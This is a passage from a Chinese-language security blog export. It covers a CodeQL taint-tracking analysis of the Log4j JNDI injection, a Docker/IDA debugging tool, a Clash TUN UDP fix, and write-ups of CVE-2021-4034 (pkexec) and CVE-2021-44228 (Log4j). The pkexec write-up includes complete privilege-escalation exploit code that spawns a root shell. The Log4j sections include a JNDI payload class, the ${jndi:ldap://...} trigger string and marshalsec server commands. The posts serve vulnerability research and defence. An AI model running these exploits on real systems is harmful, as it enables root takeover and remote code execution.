ma.getArgument(0).(CompileTimeConstantExpr).getStringValue() = "java.naming.provider.url" or exists(Field f | ma.getArgument(0) = f.getAnAccess() and f.hasName("PROVIDER_URL") and f.getDeclaringType() instanceof TypeNamingContext ) )) m.getDeclaringType().getASourceSupertype*() instanceof TypeHashtable 表示m 应该是 java.util.Hashtable的子类 (m.hasName("put") or m.hasName("setProperty")) 指定了方法的名称 最后一部分指示第一个参数应该是一个字符串java.naming.provider.url或者是一个类型为javax.naming.Context的字段,且名称应为PROVIDER_URL 123456789( ma.getArgument(0).(CompileTimeConstantExpr).getStringValue() = "java.naming.provider.url" or exists(Field f | ma.getArgument(0) = f.getAnAccess() and f.hasName("PROVIDER_URL") and f.getDeclaringType() instanceof TypeNamingContext )) 因此,显然,如果用户输入只能控制PROVIDER_URL,则此Query仍然可以找到它。 Class DefaultJndiInjectionAdditionalTaintStep 这是一组在跟踪JNDI注入相关数据流的污点时需要考虑的额外污点步骤,以避免在调用第三方包时出现污点跟踪中断。 nameStep(node1, node2) 表示 n1 到 n2 是一个数据流步骤,通过调用 new CompositeName(tainted) 或 new CompoundName(tainted) 在 String 和 CompositeName 或 CompoundName 之间进行转换。 nameAddStep(node1, node2) 表示 n1 到 n2 是一个数据流步骤,通过调用 new CompositeName().add(tainted) 或 new CompoundName().add(tainted) 在 String 和 CompositeName 或 CompoundName 之间进行转换。 jmxServiceUrlStep(node1, node2) 表示 n1 到 n2 是一个数据流步骤,通过调用 new JMXServiceURL(tainted) 在 String 和 JMXServiceURL 之间进行转换。 jmxConnectorStep(node1, node2) 表示 n1 到 n2 是一个数据流步骤,通过调用 JMXConnectorFactory.newJMXConnector(tainted) 在 JMXServiceURL 和 JMXConnector 之间进行转换。 rmiConnectorStep(node1, node2) 表示 n1 到 n2 是一个数据流步骤,通过调用 new RMIConnector(tainted) 在 JMXServiceURL 和 RMIConnector 之间进行转换。 解读JndiInjectionQuery.qll现在,让我们进入“query”库,这里包含了一些关于如何进行全局污点追踪的信息 Class JndiInjectionFlowConfig123456789101112131415class JndiInjectionFlowConfig extends TaintTracking::Configuration { JndiInjectionFlowConfig() { this = "JndiInjectionFlowConfig" } override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource } override predicate isSink(DataFlow::Node sink) { sink instanceof JndiInjectionSink } override predicate isSanitizer(DataFlow::Node node) { node.getType() instanceof PrimitiveType or node.getType() instanceof BoxedType } override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) { any(JndiInjectionAdditionalTaintStep c).step(node1, node2) }} 它将 JndiInjectionSink 应用为 Sink 进行跟踪。 isSanitizer 定义了应该删除结果的条件,在这种情况下,如果节点是原始类型或包装原始类型(BoxedType),则会将其删除。 isAdditionalTaintStep 添加了额外的污点步骤,在这种情况下,它使用 JndiInjectionAdditionalTaintStep,使用这个库时,any 过滤器表示我们将使用任何可用的子类,在这里我们将使用已经解释过的 DefaultJndiInjectionAdditionalTaintStep 类。 Class UnsafeSearchControlsSink 一个当接收到一个 setReturningObjFlag 属性为 true 的 SearchControls 参数时执行 JNDI lookup的方法。 这个类定义了不安全的 Search Controls Sink。 12345exists(UnsafeSearchControlsConf conf, MethodAccess ma | conf.hasFlowTo(DataFlow::exprNode(ma.getAnArgument()))| this.asExpr() = ma.getArgument(0)) 正如我们所看到的,它需要 UnsafeSearchControlsConf,它定义了数据流的Source和 Sink,Source应该是 UnsafeSearchControls,Sink 应该是 UnsafeSearchControlsArgument。 UnsafeSearchControls:一个带有 setReturningObjFlag = true 的 SearchControls 对象。 https://docs.oracle.com/javase/8/docs/api/javax/naming/directory/SearchControls.html setReturningObjFlag 启用/禁用作为结果的一部分返回的对象。 UnsafeSearchControlsArgument:一个 LdapOperations.search 或 DirContext.search 调用的类型为 SearchControls 的参数。 因此,Sink 应该是方法访问的第一个参数,方法访问的一个参数将按照 UnsafeSearchControlsConf 中定义的规则进行污染。 使用Java代码测试JndiInjection.qlJndiInjection.ql 只是简单地使用 JndiInjectionFlowConfig 调用了路径的Query。 这是测试代码,其中部分代码从官方演示中提取。 123456789101112131415161718192021222324public void doGet(HttpServletRequest request, HttpServletResponse response) { System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); // necessary for Java 8 String name = request.getParameter("name"); Hashtable<String, String> env = new Hashtable<String, String>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099"); // 匹配 ProviderUrlJndiInjectionSink InitialContext ctx = null; try { ctx = new InitialContext(env); // BAD: User input used in lookup ctx.lookup(name); // GOOD: The name is validated before being used in lookup// if (isValid(name)) {// ctx.lookup(name);// } else {// // Reject the request// } } catch (NamingException e) { throw new RuntimeException(e); }} 1java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:4444/\\#Exploit 1099 12jdk8codeql database create cwe074-test --language=java --source-root=/Users/kano/Workspace/IdeaProjects/demo12 我们得到了预期的结果. 我们可以使用 Quick evaluation 功能来验证之前的分析 DefaultJndiInjectionSink 找到了String name = request.getParameter("name"); ProviderUrlJndiInjectionSink 找到了env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099"); 事实证明这些Query工作得非常好 前进到 Log4j CVE-2021-44228引入org.apache.logging.log4j-2.14.1,你可以在这里找到它 here 为CodeQL准备数据库配置toolchains-sample-*.xml后,我们可以得到CodeQL数据库。 为了获得更好的性能,我们可以在“modules”部分排除无用的项目。 123456789101112131415161718192021222324252627282930313233343536<modules> <module>log4j-api-java9</module> <module>log4j-api</module> <module>log4j-core-java9</module> <module>log4j-core</module> <!-- <module>log4j-layout-template-json</module> <module>log4j-core-its</module> <module>log4j-1.2-api</module> <module>log4j-slf4j-impl</module> <module>log4j-slf4j18-impl</module> <module>log4j-to-slf4j</module> <module>log4j-jcl</module> <module>log4j-flume-ng</module> <module>log4j-taglib</module> <module>log4j-jmx-gui</module> <module>log4j-samples</module> <module>log4j-bom</module> <module>log4j-jdbc-dbcp2</module> <module>log4j-jpa</module> <module>log4j-couchdb</module> <module>log4j-mongodb3</module> <module>log4j-mongodb4</module> <module>log4j-cassandra</module> <module>log4j-web</module> <module>log4j-perf</module> <module>log4j-iostreams</module> <module>log4j-jul</module> <module>log4j-jpl</module> <module>log4j-liquibase</module> <module>log4j-appserver</module> <module>log4j-osgi</module> <module>log4j-docker</module> <module>log4j-kubernetes</module> <module>log4j-spring-boot</module> <module>log4j-spring-cloud-config</module> --> </modules> 1codeql database create log4j-db -l java -s logging-log4j2-rel-2.14.1/ -c './mvnw clean install -t toolchains-sample-mac.xml -Dmaven.test.skip=true' 找到source通过调试,我们可以知道用户输入源位于log4j-api/src/main/java/org/apache/logging/log4j/spi/AbstractLogger.java中的各个日志函数,比如debug, info、error 和它们都将调用带有messag或messageSupplier作为日志消息的 logIfEnabled 函数。 所以源码应该是这样的: 123456789class Log4jFlowSource extends DataFlow::Node{ Log4jFlowSource(){ this.asParameter().getCallable().hasName("logIfEnabled") and ( this.asParameter().hasName("message") or this.asParameter().hasName("messageSupplier") ) }} 并且我需要添加一个新的 TaintTracking::Configuration 12345678910111213141516171819class JndiInjectionFlowConfigInLog4j extends TaintTracking::Configuration{ JndiInjectionFlowConfigInLog4j() { this = "JndiInjectionFlowConfigInLog4j" } override predicate isSource(DataFlow::Node source) { source instanceof Log4jFlowSource } override predicate isSink(DataFlow::Node sink) { sink instanceof JndiInjectionSink } override predicate isSanitizer(DataFlow::Node node) { node.getType() instanceof PrimitiveType or node.getType() instanceof BoxedType } override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) { any(JndiInjectionAdditionalTaintStep c).step(node1, node2) }}from DataFlow::PathNode source, DataFlow::PathNode sink, JndiInjectionFlowConfigInLog4j confwhere conf.hasFlowPath(source, sink)select sink.getNode(), source, sink, "JNDI lookup might include name from $@.", source.getNode(), "this user input" 只需要改变 isSource 部分其他部分与 JndiInjectionFlowConfig相同 运行Query,我们得到如下结果 运气不错,我们成功找到一条路径,证明用户输入可以传递给 JNDI lookup。 完整代码如下所示。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546/** * @name JNDI lookup with user-controlled name in Log4j Lib * @description Performing a JNDI lookup with a user-controlled name can lead to the download of an untrusted * object and to execution of arbitrary code. * @kind path-problem * @problem.severity error * @security-severity 9.8 * @precision high * @id java/jndi-injection * @tags security * external/cwe/cwe-074 */import javaimport semmle.code.java.security.JndiInjectionQueryimport DataFlow::PathGraphclass JndiInjectionFlowConfigInLog4j extends TaintTracking::Configuration{ JndiInjectionFlowConfigInLog4j() { this = "JndiInjectionFlowConfigInLog4j" } override predicate isSource(DataFlow::Node source) { source instanceof Log4jFlowSource } override predicate isSink(DataFlow::Node sink) { sink instanceof JndiInjectionSink } override predicate isSanitizer(DataFlow::Node node) { node.getType() instanceof PrimitiveType or node.getType() instanceof BoxedType } override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) { any(JndiInjectionAdditionalTaintStep c).step(node1, node2) }}class Log4jFlowSource extends DataFlow::Node{ Log4jFlowSource(){ this.asParameter().getCallable().hasName("logIfEnabled") and ( this.asParameter().hasName("message") or this.asParameter().hasName("messageSupplier") ) }}from DataFlow::PathNode source, DataFlow::PathNode sink, JndiInjectionFlowConfigInLog4j confwhere conf.hasFlowPath(source, sink)select sink.getNode(), source, sink, "JNDI lookup might include name from $@.", source.getNode(), "this user input" 参考CodeQL CWE Coverage: https://codeql.github.com/codeql-query-help/codeql-cwe-coverage/ CodeQL query help for Java: https://codeql.github.com/codeql-query-help/java/ CodeQL Repository: https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE","link":"/%E6%8A%80%E6%9C%AF%E5%BD%92%E7%BA%B3/%E4%BD%BF%E7%94%A8CodeQL%E5%8F%91%E7%8E%B0CVE-2021-44228/"},{"title":"DIPD 文档","text":"4xpl0r3r/DIPD: Debug with IDA and Pwntools in Docker (DIPD) (github.com) 本文同时提供以下语言的翻译: English. 关于通过这个工具,可以同时使用pwntools和IDA在docker中调试程序 安全 快速 强大(IDA) 快速开始1git clone https://github.com/4xpl0r3r/DIPD.git 安装Docker、docker-compose和IDA(你可以将他们安装在不同的主机上,只需要保证网络畅通即可) 将程序文件移动到debug/ 目录并改名为todebug 在此项目根目录运行docker-compose up命令 完成上述步骤后,通过如下命令访问程序的标准输入输出 1nc docker.ip 23458 IDA Pro调试器参数 (版本7.6) Type: Remote Linux Debugger (Attach) Hostname: docker.ip (运行docker主机的IP) Port: 23946 不需要密码 注意 在使用IDA Attach到调试进程之前,必须先使用netcat或pwntools运行程序,否则无法在IDA中看到想要的进程 你必须在64位架构中运行的Docker以同时支持32位(i386)和64位(amd64)架构程序的调试 演示启动DIPD 1docker-compose up 运行并连接到你所调试程序的STDIO 1nc docker.ip 23458 现在,你的二进制文件应该已经在运行了 接下来打开IDA并启动IDA调试器 输入信息并点击OK 现在你可以看到你的docker中的进程,选择./todebug调试并点击”OK” 现在你应该已经进入调试视图,没有任何错误和异常 文件 - docker-compose.ymlimage你可以在这里选择你想要的基本映像,这里有一些常用的选项 1234i386/ubuntu:16.04i386/ubuntu:18.04amd64/ubuntu:16.04amd64/ubuntu:18.04 你必须在64位架构中运行的Docker以同时支持32位(i386)和64位(amd64)架构程序的调试,否则只能调试32位(i386)程序 其他参数查看相关注释即可 目录 - files目录 - debssocat的apt包,用于快速安装和离线支持 文件 - linux_server[64]IDA Debug Server v7.6 如果不想使用 IDA v7.6 版本,可以进行替换 文件 - init.sh此脚本文件用于初始化调试环境,你可以对其修改以进行任何调整","link":"/%E6%96%87%E6%A1%A3/DIPD-%E6%96%87%E6%A1%A3/"},{"title":"Clash TUN模式下的UDP服务异常诊断与解决","text":"Clash开启TUN模式后,本地UDP端口无法与外部访问正常建立连接,如何诊断问题?如何解决问题? 本文同时提供其他语言的版本: English. 问题背景 Background在我的日常生活中,我已经习惯通过ClashX的TUN模式(增强模式)接管MacOS系统的所有流量,便于观察实时流量并配置规则。Clash作为Surge的平替,已经成为了我在MacOS系统中的出口流量管理中心和出口防火墙。 MacOS的入口流量管理还是推荐使用PF防火墙 最近随着幻兽帕鲁的爆火,我在本地建立专用服务器后,发现局域网可以正常登录,来自公网的客户端却显示无法连接(我拥有公网IP并已建立好公网映射)。 问题诊断 TroubleshootingUDP&TCP 进出流量检查首先,我对TCP和UDP的进出流量进行诊断 TCP出口流量,很容易测试,可以发现流量分流运行正常 TCP入口流量,可以发现也可以正常通过公网IP访问,也可以正常双向通信(Hello从客户端发到服务端,Back从服务端发回客户端) UDP出口流量,这里我们尝试访问谷歌的NTP服务,可以发现正常建立连接 UDP入口流量,我们先建立测试服务 尝试发送一个UDP包,可以发现成功接收到数据包?似乎UDP监听目前也可以正常使用?事情真的如此吗? 尝试发送响应包,我们发现客户端无法接收到。让客户端再次发送请求包,我们发现服务端也无法接收到。 此时在局域网中或不开启TUN进行测试,所有连接均正常,方法也一样,就跳过了 Wireshark分析此时我们已经确认了问题,让我们用Wireshark深入诊断一下,在使用Wireshark监听的同时再次复现上文中出现问题的操作 你可能发现了此时我的公网IP和端口改变了,IP从218.79.x.x变为117.131.x.x,端口变为50011,不要在意这个 我们可以发现第一个成功发送的UDP数据包,目标端口是50011,这个数据包我们在服务端正常收到了 第二个数据包是服务端返回发送的数据包,在客户端中我们并没能收到。图中可以看到Source Port为50131,这与服务开放的端口50011并不一致,此处我猜测是Clash在TUN NIC中对Source Port进行了重新映射,避免多个代理客户端发送了同样的Source Port产生冲突。那么因为Source Port和客户端发出的Destination Port不同,由于目前广泛采用的端口受限型NAT(在PlayStation中被称为NAT3),所以无法成功连接。此时如果客户端是地址受限型NAT(NAT2)或完全圆锥形NAT(NAT1),我推测是可以正常通信的。 问题解决 Solve it此时我们已经确定了问题的原因——UDP服务出口流量经过TUN网卡导致Source Port不正确,无法与客户端构建连接。那么我们应该如何解决呢? 方案1 - 手动管理路由表既然问题出在流量经过TUN网卡,那么我们可以为特定客户端IP指定路由表规则,让其直接使用物理网卡,忽略TUN网卡。 在MacOS中,我通过如下命令指定去往117.131.x.x的流量直接使用en20物理网卡,成功解决问题。 1sudo route add 117.131.x.x -interface en20 更换ClashX客户端为ClashX.Meta,其允许对TUN功能进行更详细的配置,我们也可以编写配置文件以使其自动排除特定的网段 123tun: inet4-route-exclude-address: - 117.131.x.x/32 缺陷 此方法只能用于经常通信的几个客户端 方案2 - 使用端口转发工具一些端口转发工具可以指定使用的监听地址,并且从对应的网卡发送响应数据包。如 gost 使用gost绑定物理网卡对应的地址,进行流量转发 1gost -L=udp://192.168.x.x:50111/127.0.0.1:50112 客户端可以正常发送数据包,也可以正常收到响应数据包 缺陷 流量增加一层应用层转发,增大了服务器性能压力,也增加了网络延迟 服务端应用无法正确判断客户端真实地址 方案3 - 网卡桥接 仅为猜想,并未测试 可以使用Vmware添加桥接网卡,直接接入物理网卡,即可忽略Clash TUN网卡 缺陷 路由器的端口转发很可能不认桥接网卡,导致无法连接(我就遇到了这个情况,华为k662c路由器的端口转发无法绑定桥接设备的端口)","link":"/%E7%BB%8F%E9%AA%8C/Clash-TUN%E6%A8%A1%E5%BC%8F%E4%B8%8B%E7%9A%84UDP%E6%9C%8D%E5%8A%A1%E5%BC%82%E5%B8%B8%E8%AF%8A%E6%96%AD%E4%B8%8E%E8%A7%A3%E5%86%B3/"},{"title":"CVE-2021-4034 Linux Polkit 权限提升漏洞分析","text":"本文主要参考官方的Advisory来进行分析 本文同时提供以下语言的翻译: English. 漏洞简介2022-01-25,CVE-2021-4034 Exploit 详情发布,此漏洞是由Qualys研究团队在polkit的pkexec中发现的一个内存损坏漏洞 pkexec 应用程序是一个 setuid 工具,允许非特权用户根据预定义的策略以特权用户身份运行命令,基本上所有的主流Linux系统都安装了此工具,其自身也被设置了SUID权限位以正常运转 影响了自2009年5月第一个版本以来的所有pkexec版本,Commit 地址:Add a pkexec(1) command (c8c3d835) · Commits · polkit / polkit · GitLab 由于pkexec的广泛应用,此漏洞基本通杀目前所有Linux发行版,有效范围很大 漏洞原理分析选择一个修复前的版本进行分析,src/programs/pkexec.c · 0.120 · polkit / polkit · GitLab 根据披露,漏洞存在于pkexec的主函数,相对路径为/src/programs/pkexec.c 在534-568行,处理命令行参数 1234567891011121314151617181920212223242526272829303132333435for (n = 1; n < (guint) argc; n++) // 注意这一句,如果我们传递了参数后,n应该在结束循环时与argc相等,如果没有参数,argc就为0,但是由于此处n的初始值为1,因此如果没有参数被传递,1就变成了argc(0)+1,如果后续继续使用n的话,就有可能出现问题{ if (strcmp (argv[n], "--help") == 0) { opt_show_help = TRUE; } else if (strcmp (argv[n], "--version") == 0) { opt_show_version = TRUE; } else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0) { n++; if (n >= (guint) argc) { usage (argc, argv); goto out; } if (opt_user != NULL) { g_printerr ("--user specified twice\\n"); goto out; } opt_user = g_strdup (argv[n]); } else if (strcmp (argv[n], "--disable-internal-agent") == 0) { opt_disable_internal_agent = TRUE; } else { break; }} 然后在610行,获取PROGRAM参数名称,也就是需要执行的程序 12345678910111213141516171819202122232425262728293031path = g_strdup (argv[n]); // 分析代码,我们可以发现n在此时被使用,g_strdup复制目标字符串,但是如果我们不传递任何参数,g_strdup用于拷贝字符串,如果没有参数传递,这里就产生内存越界读取了if (path == NULL){ GPtrArray *shell_argv; path = g_strdup (pwstruct.pw_shell); if (!path){ g_printerr ("No shell configured or error retrieving pw_shell\\n"); goto out;} /* If you change this, be sure to change the if (!command_line)case below too */ command_line = g_strdup (path); shell_argv = g_ptr_array_new (); g_ptr_array_add (shell_argv, path); g_ptr_array_add (shell_argv, NULL); exec_argv = (char**)g_ptr_array_free (shell_argv, FALSE);}if (path[0] != '/') // 如果路径不是绝对路径{ /* g_find_program_in_path() is not suspectible to attacks via the environment */ s = g_find_program_in_path (path); if (s == NULL) { g_printerr ("Cannot run program %s: %s\\n", path, strerror (ENOENT)); goto out; } g_free (path); argv[n] = path = s; // 触发越界内存写入} 整理一下,得出,在不传递任何参数时,情况如下 在第 534 行,整数 n 的设置为 1 在第 610 行,从 argv[1] 越界读取指针路径 在第 639 行,指针 s 被越界写入 argv[1] 现在很重要的一点就是,我们想要知道,当越界的argv[1]包含了什么内容 当我们使用execve()执行一个程序时,内核会将我们的参数、环境字符串以及指针(argv 和 envp)复制到新程序栈的末尾;如下所示: 12345|---------+---------+-----+------------|---------+---------+-----+------------|| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] ||----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------| V V V V V V "program" "-option" NULL "value" "PATH=name" NULL 也就是说,被越界访问的实际上是envp[0],其指向第一个环境变量的值,再次总结,我们得到如下 在第610行,要执行的程序路径由envp[0]给出 在632行,path的值被传递给g_find_program_in_path() g_find_program_in_path()在PATH环境变量中搜索程序 如果找到可执行文件,完整的路径返回给pkexec的main()函数 在639行,完整路径被越界写入到argv[1]也就是envp[0],这样就覆盖了我们的第一个环境变量 更准确地来说的话 如果环境变量被设置为PATH=name,如果目录name存在(如当前的工作目录)并且可执行文件被命名为value,那么name/value字符串的指针就会被越界写入到envp[0] 或者说,如果PATH是PATH=name=.,并且如果PATH=name=.存在且包含名为value的可执行文件,那么name=./value字符串的指针就会被越界写入到envp[0]中 由于字符串name=./value是我们最后会执行的命令,如果执行了name=./value,这个越界写入允许我们重新引入一个不安全的环境变量,这些被传递到SUID文件的不安全环境变量通常会在main()函数运行之前被删除(由ld.so完成)。接下来我们将基于这一点来进行exploit 要注意:polkit还支持非Linux系统如Solaris 和 BSD, 目前还没有深入分析过,但是OpenBSD是不可利用的,因为它的内核在argc为0时拒绝通过execve执行程序 我们的问题是如何通过重新引入不安全的环境变量来利用这个漏洞,在702行,pkexec完全清除了环境变量,因此可以利用的选项比较少 12345if (clearenv () != 0) { g_printerr ("Error clearing environment: %s\\n", g_strerror (errno)); goto out; } 可以发现代码中多处调用了GLib的函数g_printerr(),如位于代码126行和408-409行的validate_environment_variable()函数log_message()调用了g_printerr() g_printerr()通常打印UTF-8错误消息,但如果环境变量CHARSET被设置后,其也可以使用其它字符集打印消息。为了将消息从CTF-8转换为其它字符集,g_printerr()调用了iconv_open() 为了进行字符集转换,iconv_open()执行一个共享库。通常来说来源字符集、目标字符集和共享库都通过默认配置文件/usr/lib/gconv/gconv-modules指定。但是环境变量GCONV_PATH可以强制iconv_open()使用另外一个配置文件,通常来说GCONV_PATH是一个不安全变量,会被移除,但是由于前面的漏洞,我们可以将其重新引入 要注意:这个利用技术会在日志中留下痕迹,如SHELL变量在/etc/shells中不存在,或者环境变量中存在可疑数据。然而,请注意,这个漏洞也可以以不留下痕迹的方式利用 构造 Exploit目前的主流Linux系统都受到此漏洞的影响,安装一个Ubuntu 20.04,运行pkexec --version可以发现版本是0.105 首先生成一个恶意的so文件,用来获取提权后的shell 1234567#include <stdlib.h>#include <unistd.h>void gconv() {}void gconv_init() { setuid(0); seteuid(0); setgid(0); setegid(0); system("PATH=/bin:/usr/bin:/sbin /bin/sh");} 1gcc -shared -fPIC payload.c -o payload.so 构造exploit LC_MESSAGES 用来指定要转换的字符集 XAUTHORITY 设置为非法值以跳过pkexec的正常执行,我们只需要触发日志函数来实现提权 1234567891011121314151617181920212223#include <stdio.h>#include <unistd.h>#include <sys/stat.h>int main() { char* _argv[]={ NULL }; char* _envp[]={ "x", "PATH=GCONV_PATH=.", "LC_MESSAGES=en_US.UTF-8", "XAUTHORITY=..", NULL }; mkdir("GCONV_PATH=.", 0777); mkdir("x", 0777); FILE *fp = fopen("x/gconv-modules", "wb"); fprintf(fp, "module UTF-8// INTERNAL ../payload 2\\n"); fclose(fp); fp = fopen("GCONV_PATH=./x", "wb"); fclose(fp); chmod("GCONV_PATH=./x",0777); execve("/usr/bin/pkexec", _argv, _envp);} 1gcc exploit.c -o exp.out 然后运行./exp.out直接成为root用户 漏洞修复参见:pkexec: local privilege escalation (CVE-2021-4034) (a2bf5c9c) · Commits · polkit / polkit · GitLab argc小于1直接退出程序","link":"/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/CVE-2021-4034-Linux-Polkit-%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"},{"title":"CVE-2021-44228 log4j2 RCE 分析","text":"使用Java 8u181 本文同时提供以下语言的翻译: English. 漏洞简介Apache Log4j2是一个基于Java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。 漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入log4j-core这个jar。若存在应用使用,极大可能会受到影响。 Exploit 复现漏洞复现代码采用Maven构建Trigger项目 引入org.apache.logging.log4j 版本2.14.1包 触发代码,只要logger使用了可记录等级进行记录,就会触发漏洞 12345678import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Main { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { logger.error("${jndi:ldap://ip:1389/#Exploit}123"); }} JNDI Payload 代码123456789101112131415161718192021222324252627282930313233343536import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.Reader;public class Exploit{ public Exploit() throws IOException,InterruptedException{ String cmd="curl 127.0.0.1:5555"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); }} 编译这段代码以便后续的JNDI调用使用,触发构造方法执行命令 漏洞触发典型的使用JNDI进行触发 首先在class文件处开启HTTP服务 然后利用marshalsec开启LDAP服务 1java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#Exploit 运行main函数,成功触发 漏洞原理分析代码利用链分析由于我们知道是JNDI注入,因此在javax.naming.InitialContext的构造方法处下断点 文件位于rt.jar/javax/naming/InitialContext.java 成功抓到断点 调用栈信息如下 我们知道要触发JNDI漏洞必须要通过lookup函数,从JndiLookup.lookup函数向上回溯 我们往Payload加入一些杂物,看看什么时候聚焦到payload ${jndi:ldap://127.0.0.1:1389/#Exploit} 可以发现substitute会将payload AAAAA${jndi:ldap://127.0.0.1:1389/#Exploit}BBBBB解引用变成JNDI URIldap://127.0.0.1:1389/#Exploit 除此之外,我们可以发现resolveVariable用于处理使用${}包裹的变量 再继续往上回溯,可以发现如下一段代码 可以发现只要遇到${则开始调用StrSubstuitutor的replace方法进行解析 漏洞深入分析log4j2的三大组件 Logger 日志记录器 Appender 日志输出 Layout 日志格式化 继续分析前面得到的调用栈,可以发现 在log4j2中通过LoggerConfig.processLogEvent()处理日志事件,主要部分在调用callAppenders()即调用Appender Appender功能主要是负责将日志事件传递到其目标,常用的Appender有ConsoleAppender(输出到控制台)、FileAppender(输出到本地文件)等,通过AppenderControl获取具体的Appender,本次调试的是ConsoleAppender。 Appender调用Layout获取日志格式,通过Layout.encode()进行日志的格式化 Layout会获取formatters来完成具体的格式化 处理传入的message通过MessagePatternConverter.format(),也是本次漏洞的关键之处。当config存在并且noLookups为false,匹配到${'则调用workingBuilder.append()获取StrSubstitutor内容来替换原来的信息。 可以发现此处有个noLookups,是一个配置值,默认为false,之后我们研究下如何利用它进行防御 再往前看,然后是StrSubstitutor.resolveVariable()进行解析,可以发现支持这些协议 其中就包含了JNDI 安全缓解措施 - 利用系统配置禁止LookUp noLookups通过交叉引用可以找到 这里先一种最简单的——直接代码增加配置 12345678910import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;import java.lang.*;public class Main { public static void main(String[] args) { System.setProperty("log4j2.formatMsgNoLookups","true"); final Logger logger = LogManager.getLogger(); logger.error("AAAAA${jndi:ldap://127.0.0.1:1389/#Exploit}BBBBBB"); }} 再次运行,可以发现不会对${jndi:ldap://127.0.0.1:1389/#Exploit}进行解析 除此之外,也可以通过properties文件或命令行进行配置 安全缓解措施 - 通过log4j2的配置文件禁止LookUp 我认为这是除了升级外最好的方法 参考官方文档:Log4j – Configuring Log4j 2 (apache.org) 除了XML还支持其它格式,以XML为例,在resource中创建log4j2.xml,一个能禁止LookUp的最小可用配置如下 12345678910111213<?xml version="1.0" encoding="UTF-8"?><Configuration> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="[%t] %-5level %m{nolookups} %n"/> </Console> </Appenders> <Loggers> <Root level="info"> <AppenderRef ref="Console"/> </Root> </Loggers></Configuration> 拓展思考 - log4j2为什么需要JNDI功能在Log4j – Configuring Log4j 2 - Apache Log4j 2找到Property Substitution(属性替换)功能,以通过本地之外的来源获取属性,使日志信息更加丰富 由于开发者没有考虑到JNDI的潜在危害,因此没有将其默认配置值设置为不加载也没有对JNDI来源地址进行限制 其它拓展常见的假阳性结果许多测试者通过DNS信息来判断是否发生了解析,以此来确定漏洞是否触发,这是不严谨的,许多公共服务都可能对这个地址进行DNS查询,用于垃圾拦截等功能,这不能代表其成功触发了漏洞 比较好的方式是在子域名中添加一个内嵌查询,如${sys:java.version} 防御方法 升级log4j core的最新版本 在配置文件中的Layout设置禁止LookUp 在系统配置中将设置formatMsgNoLookups为true,禁止LookUp 官方的修复方法 参考:https://logging.apache.org/log4j/2.x/changes-report.html 在2.15.0已默认禁用Message里的Lookups,并且默认限制了JNDI以及LDAP可以获取的类 除此之外,在2.16.0,默认禁用JNDI,需要使用log4j.enableJndi来启用 彻底移除在Message中的LookUps支持 log4j 2.15.0-RC1绕过Google了解到2.15.0-RC1这个候选发行版仍然存在可以被Bypass的可能性 编译log4j 2.15.0-RC1 由于RC版本现在在Maven仓库已经没有了,所有只能去GitHub手动获取源代码进行编译 Tags · apache/logging-log4j2 (github.com) 下载源代码后,根据README,先配置toolschains,调整jdk位置,由于只需要jdk1.8的包,只使用1.8的toolchain,其它注释掉 由于不需要编译所有包,在pom.xml中找到modules 将不需要的包注释,仅保留log4j-core和log4j-api 12345678910111213141516171819202122232425262728293031323334353637<modules> <!-- <module>log4j-api-java9</module> --> <module>log4j-api</module> <!-- <module>log4j-core-java9</module> --> <module>log4j-core</module> <!-- <module>log4j-layout-template-json</module> <module>log4j-core-its</module> <module>log4j-1.2-api</module> <module>log4j-slf4j-impl</module> <module>log4j-slf4j18-impl</module> <module>log4j-to-slf4j</module> <module>log4j-jcl</module> <module>log4j-flume-ng</module> <module>log4j-taglib</module> <module>log4j-jmx-gui</module> <module>log4j-samples</module> <module>log4j-bom</module> <module>log4j-jdbc-dbcp2</module> <module>log4j-jpa</module> <module>log4j-couchdb</module> <module>log4j-mongodb3</module> <module>log4j-mongodb4</module> <module>log4j-cassandra</module> <module>log4j-web</module> <module>log4j-jakarta-web</module> <module>log4j-perf</module> <module>log4j-iostreams</module> <module>log4j-jul</module> <module>log4j-jpl</module> <module>log4j-liquibase</module> <module>log4j-appserver</module> <module>log4j-osgi</module> <module>log4j-docker</module> <module>log4j-kubernetes</module> <module>log4j-spring-boot</module> <module>log4j-spring-cloud-config</module> --></modules> 使用如下mvn指令编译 -t toolchains-sample-mac.xml 指定toolchains文件 -Dmaven.test.skip=true 跳过测试 